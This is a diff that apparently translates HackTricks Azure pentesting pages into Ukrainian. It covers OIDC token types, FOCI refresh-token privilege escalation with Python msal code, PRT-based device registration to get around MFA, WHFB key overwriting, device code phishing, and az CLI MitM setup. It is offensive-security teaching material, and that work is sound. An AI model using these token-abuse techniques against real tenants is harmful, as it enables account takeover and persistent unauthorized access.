**надається доступ до конкретних обсягів без явного схвалення користувача або адміністратора**. +- Ці попередньо погоджені обсяги зазвичай приховані як від користувачів, так і від адміністраторів, що робить їх менш видимими в стандартних інтерфейсах управління. -**Client Application Types:** +**Типи клієнтських додатків:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Конфіденційні клієнти:** +- Мають свої власні облікові дані (наприклад, паролі або сертифікати). +- Можуть **надійно аутентифікувати себе** на сервері авторизації. +2. **Публічні клієнти:** +- Не мають унікальних облікових даних. +- Не можуть надійно аутентифікуватися на сервері авторизації. +- **Безпекове наслідок:** Зловмисник може видавати себе за публічний клієнтський додаток при запиті токенів, оскільки немає механізму для сервера авторизації, щоб перевірити легітимність додатка. ## Authentication Tokens -There are **three types of tokens** used in OIDC: +Існує **три типи токенів**, що використовуються в OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Токени доступу**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Клієнт представляє цей токен серверу ресурсів для **доступу до ресурсів**. Він може використовуватися лише для конкретної комбінації користувача, клієнта та ресурсу і **не може бути відкликаний** до закінчення терміну дії - тобто 1 година за замовчуванням. +- **ID токени**: Клієнт отримує цей **токен від сервера авторизації**. Він містить основну інформацію про користувача. Він **прив'язаний до конкретної комбінації користувача та клієнта**. +- **Токени оновлення**: Надаються клієнту разом з токеном доступу. Використовуються для **отримання нових токенів доступу та ID токенів**. Він прив'язаний до конкретної комбінації користувача та клієнта і може бути відкликаний. За замовчуванням термін дії становить **90 днів** для неактивних токенів оновлення та **немає терміну дії для активних токенів** (з токена оновлення можливо отримати нові токени оновлення). +- Токен оновлення повинен бути прив'язаний до **`aud`**, до деяких **обсягів** та до **орендаря**, і він повинен мати можливість генерувати токени доступу лише для цього aud, обсягів (і не більше) та орендаря. Однак це не так для **токенів додатків FOCI**. +- Токен оновлення зашифрований, і лише Microsoft може його розшифрувати. +- Отримання нового токена оновлення не відкликає попередній токен оновлення. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> Інформація для **умовного доступу** **зберігається** всередині **JWT**. Тому, якщо ви запитуєте **токен з дозволеної IP-адреси**, ця **IP** буде **збережена** в токені, і тоді ви зможете використовувати цей токен з **недозволеної IP для доступу до ресурсів**. ### Access Tokens "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +Поле, вказане в полі "aud", є **сервером ресурсів** (додатком), що використовується для виконання входу. -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +Команда `az account get-access-token --resource-type [...]` підтримує такі типи, і кожен з них додасть конкретний "aud" у результативний токен доступу: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Зверніть увагу, що наступні - це лише API, підтримувані `az account get-access-token`, але їх більше.
-aud examples +приклади aud -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Використовується для доступу до застарілого Azure AD Graph API (депрецированого), який дозволяє додаткам читати та записувати дані каталогу в Azure Active Directory (Azure AD). +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Використовується для управління ресурсами Azure через API Azure Resource Manager. Це включає операції, такі як створення, оновлення та видалення ресурсів, таких як віртуальні машини, облікові записи зберігання тощо. +- `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Використовується для доступу до Azure Batch, сервісу, який дозволяє ефективно виконувати великомасштабні паралельні та високопродуктивні обчислювальні програми в хмарі. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Використовується для взаємодії з Azure Data Lake Storage Gen1, який є масштабованим сервісом зберігання даних та аналітики. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Використовується для доступу до Azure Media Services, які надають хмарні послуги обробки та доставки медіа для відео та аудіо контенту. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Використовується для доступу до Microsoft Graph API, єдиного кінцевого пункту для даних сервісів Microsoft 365. Це дозволяє отримувати дані та інсайти з таких сервісів, як Azure AD, Office 365, Enterprise Mobility та Security services. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: Використовується для доступу до сервісів бази даних Azure для відкритих реляційних баз даних, таких як MySQL, PostgreSQL та MariaDB. +- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +Обсяг токена доступу зберігається всередині ключа scp всередині JWT токена доступу. Ці обсяги визначають, до чого має доступ токен доступу. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. +Якщо JWT дозволено контактувати з конкретним API, але **не має обсягу** для виконання запитуваної дії, він **не зможе виконати дію** з цим JWT. ### Get refresh & access token example - ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` - ## FOCI Tokens Privilege Escalation -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Раніше згадувалося, що токени оновлення повинні бути прив'язані до **scopes**, з якими вони були згенеровані, до **додатку** та **орендаря**, для яких вони були згенеровані. Якщо будь-яка з цих меж буде порушена, можливо підвищити привілеї, оскільки буде можливим генерувати токени доступу до інших ресурсів і орендарів, до яких користувач має доступ, і з більшими scopes, ніж це було спочатку передбачено. -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Більше того, **це можливо з усіма токенами оновлення** в [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (облікові записи Microsoft Entra, особисті облікові записи Microsoft та соціальні облікові записи, такі як Facebook і Google), оскільки, як зазначають [**документи**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Токени оновлення прив'язані до комбінації користувача та клієнта, але **не прив'язані до ресурсу або орендаря**. Клієнт може використовувати токен оновлення для отримання токенів доступу **в будь-якій комбінації ресурсу та орендаря**, де він має на це дозвіл. Токени оновлення зашифровані, і лише платформа ідентичності Microsoft може їх читати." -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Крім того, зверніть увагу, що FOCI додатки є публічними додатками, тому **секрет не потрібен** для автентифікації на сервері. -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Тоді відомі клієнти FOCI, про які повідомлялося в [**оригінальному дослідженні**](https://github.com/secureworks/family-of-client-ids-research/tree/main), можуть бути [**знайдені тут**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). ### Get different scope -Following with the previous example code, in this code it's requested a new token for a different scope: - +Продовжуючи попередній приклад коду, у цьому коді запитується новий токен для іншого scope: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Отримати різні клієнти та області дії ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Посилання - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..36dd5879f 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -4,41 +4,38 @@ ## Basic Information -When a device joins AzureAD a new object is created in AzureAD. +Коли пристрій приєднується до AzureAD, у AzureAD створюється новий об'єкт. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +При реєстрації пристрою **користувачеві пропонується увійти зі своїм обліковим записом** (запит на MFA, якщо потрібно), потім запитуються токени для служби реєстрації пристроїв, а потім з'являється запит на остаточне підтвердження. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Потім у пристрої генеруються дві пари ключів RSA: **ключ пристрою** (**публічний** ключ), який надсилається до **AzureAD**, і **транспортний** ключ (**приватний** ключ), який зберігається в TPM, якщо це можливо. +Потім у **AzureAD** генерується **об'єкт** (не в Intune), і AzureAD повертає пристрою **сертифікат**, підписаний ним. Ви можете перевірити, що **пристрій приєднано до AzureAD** та інформацію про **сертифікат** (наприклад, чи захищений він TPM). ```bash dsregcmd /status ``` +Після реєстрації пристрою **Primary Refresh Token** запитується модулем LSASS CloudAP і надається пристрою. Разом з PRT також передається **ключ сесії, зашифрований так, щоб тільки пристрій міг його розшифрувати** (використовуючи відкритий ключ транспортного ключа) і він **необхідний для використання PRT.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +Для отримання додаткової інформації про те, що таке PRT, перегляньте: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Trusted Platform Module +### TPM - Модуль довірчої платформи -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +**TPM** **захищає** від витоку ключів **з витягування** з вимкненого пристрою (якщо захищено PIN-кодом) та від витягування приватних матеріалів з рівня ОС.\ +Але він **не захищає** від **перехоплення** фізичного з'єднання між TPM і ЦП або **використання криптографічних матеріалів** у TPM, поки система працює з процесу з правами **SYSTEM**. -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Якщо ви переглянете наступну сторінку, ви побачите, що **викрадення PRT** може бути використано для доступу як **користувач**, що чудово, оскільки **PRT знаходиться на пристроях**, тому його можна вкрасти з них (або, якщо не вкрасти, зловживати для генерації нових ключів підпису): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## Реєстрація пристрою з токенами SSO +Зловмисник міг би запитати токен для служби реєстрації пристроїв Microsoft з компрометованого пристрою та зареєструвати його: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,42 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Який надасть вам **сертифікат, який ви можете використовувати для запиту PRT у майбутньому**. Таким чином, підтримуючи постійність і **обминаючи MFA**, оскільки оригінальний токен PRT, використаний для реєстрації нового пристрою, **вже мав дозволи на MFA**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Зверніть увагу, що для виконання цієї атаки вам знадобляться дозволи на **реєстрацію нових пристроїв**. Також реєстрація пристрою не означає, що пристрій буде **дозволено зареєструватися в Intune**. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Цю атаку виправили у вересні 2021 року, оскільки ви більше не можете реєструвати нові пристрої, використовуючи токени SSO. Однак все ще можливо легітимно реєструвати пристрої (маючи ім'я користувача, пароль і MFA, якщо потрібно). Перевірте: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Перезапис квитка пристрою -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +Було можливим **запросити квиток пристрою**, **перезаписати** поточний квиток пристрою і під час процесу **викрасти PRT** (тому немає потреби викрадати його з TPM. Для отримання додаткової інформації [**перевірте цю доповідь**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> Однак це було виправлено. -## Overwrite WHFB key +## Перезапис ключа WHFB -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Перевірте оригінальні слайди тут**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Резюме атаки: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** - -
- -Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +- Можливо **перезаписати** **зареєстрований ключ WHFB** з **пристрою** через SSO +- Це **обминає захист TPM**, оскільки ключ **перехоплюється під час генерації** нового ключа +- Це також забезпечує **постійність** +
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +Можливо отримати токен доступу від користувача через **фішинг за допомогою коду пристрою** і зловживати попередніми кроками, щоб **викрасти його доступ**. Для отримання додаткової інформації перегляньте: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -107,7 +97,3 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..1cb4876ab 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Встановлення PowerShell в Linux > [!TIP] -> In linux you will need to install PowerShell Core: +> У Linux вам потрібно буде встановити PowerShell Core: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # Оновлення репозиторіїв > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # Встановлення та запуск powershell > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## Встановлення PowerShell в MacOS -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +Інструкції з [**документації**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +1. Встановіть `brew`, якщо ще не встановлено: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. Встановіть останню стабільну версію PowerShell: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. Запустіть PowerShell: ```sh pwsh ``` - -4. Update: - +4. Оновлення: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## Основні інструменти для перерахунку ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) - це кросплатформений інструмент, написаний на Python для управління та адміністрування (більшості) ресурсів Azure та Entra ID. Він підключається до Azure та виконує адміністративні команди через командний рядок або скрипти. -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Слідуйте за цим посиланням для [**інструкцій з установки¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Команди в Azure CLI структуровані за шаблоном: `az ` -#### Debug | MitM az cli - -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: +#### Налагодження | MitM az cli +Використовуючи параметр **`--debug`**, можна побачити всі запити, які інструмент **`az`** надсилає: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Щоб виконати **MitM** для інструменту та **перевірити всі запити**, які він надсилає вручну, ви можете зробити: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell - це модуль з cmdlet для управління ресурсами Azure безпосередньо з командного рядка PowerShell. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Слідуйте за цим посиланням для [**інструкцій з установки**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Команди в модулі Azure PowerShell AZ структуровані так: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +Використовуючи параметр **`-Debug`**, можна побачити всі запити, які інструмент надсилає: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Щоб виконати **MitM** для інструмента та **перевірити всі запити**, які він надсилає вручну, ви можете встановити змінні середовища `HTTPS_PROXY` та `HTTP_PROXY` відповідно до [**документації**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features. +Microsoft Graph PowerShell — це кросплатформений SDK, який забезпечує доступ до всіх API Microsoft Graph, включаючи сервіси, такі як SharePoint, Exchange та Outlook, за допомогою єдиного кінцевого пункту. Він підтримує PowerShell 7+, сучасну аутентифікацію через MSAL, зовнішні ідентичності та розширені запити. Зосереджуючись на доступі з найменшими привілеями, він забезпечує безпечні операції та регулярно отримує оновлення, щоб відповідати останнім функціям API Microsoft Graph. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). +Слідуйте за цим посиланням для [**інструкцій з установки**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). -Commands in Microsoft Graph PowerShell are structured like: `-Mg ` +Команди в Microsoft Graph PowerShell структуровані так: `-Mg ` -#### Debug Microsoft Graph PowerShell - -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: +#### Налагодження Microsoft Graph PowerShell +Використовуючи параметр **`-Debug`**, можна побачити всі запити, які надсилає інструмент: ```bash Get-MgUser -Debug ``` - ### ~~**AzureAD Powershell**~~ -The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID. +Модуль Azure Active Directory (AD), який зараз **застарілий**, є частиною Azure PowerShell для управління ресурсами Azure AD. Він надає cmdlet для завдань, таких як управління користувачами, групами та реєстраціями додатків в Entra ID. > [!TIP] -> This is replaced by Microsoft Graph PowerShell - -Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). - - - +> Це замінено на Microsoft Graph PowerShell +Слідуйте за цим посиланням для [**інструкцій з установки**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e53ceb412..051236c0d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,20 +1,19 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc вразливий GPO Deploy Script {{#include ../../../banners/hacktricks-training.md}} -### Identifying the Issues +### Виявлення проблем -Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1. +Azure Arc дозволяє інтеграцію нових внутрішніх серверів (приєднаних до домену) в Azure Arc за допомогою методу об'єкта групової політики. Для цього Microsoft надає набір інструментів для розгортання, необхідний для ініціювання процедури приєднання. У файлі ArcEnableServerGroupPolicy.zip можна знайти наступні скрипти: DeployGPO.ps1, EnableAzureArc.ps1 та AzureArcDeployment.psm1. -When executed, the DeployGPO.ps1 script performs the following actions: +При виконанні скрипт DeployGPO.ps1 виконує такі дії: -1. Creates the Azure Arc Servers Onboarding GPO within the local domain. -2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package. +1. Створює GPO для приєднання серверів Azure Arc у локальному домені. +2. Копіює скрипт приєднання EnableAzureArc.ps1 на вказану мережеву папку, створену для процесу приєднання, яка також містить пакет установника Windows. -When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script. - -An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments. +При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить спільну папку, та ім'я спільної папки. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту. +Зашифрований секрет генерується в 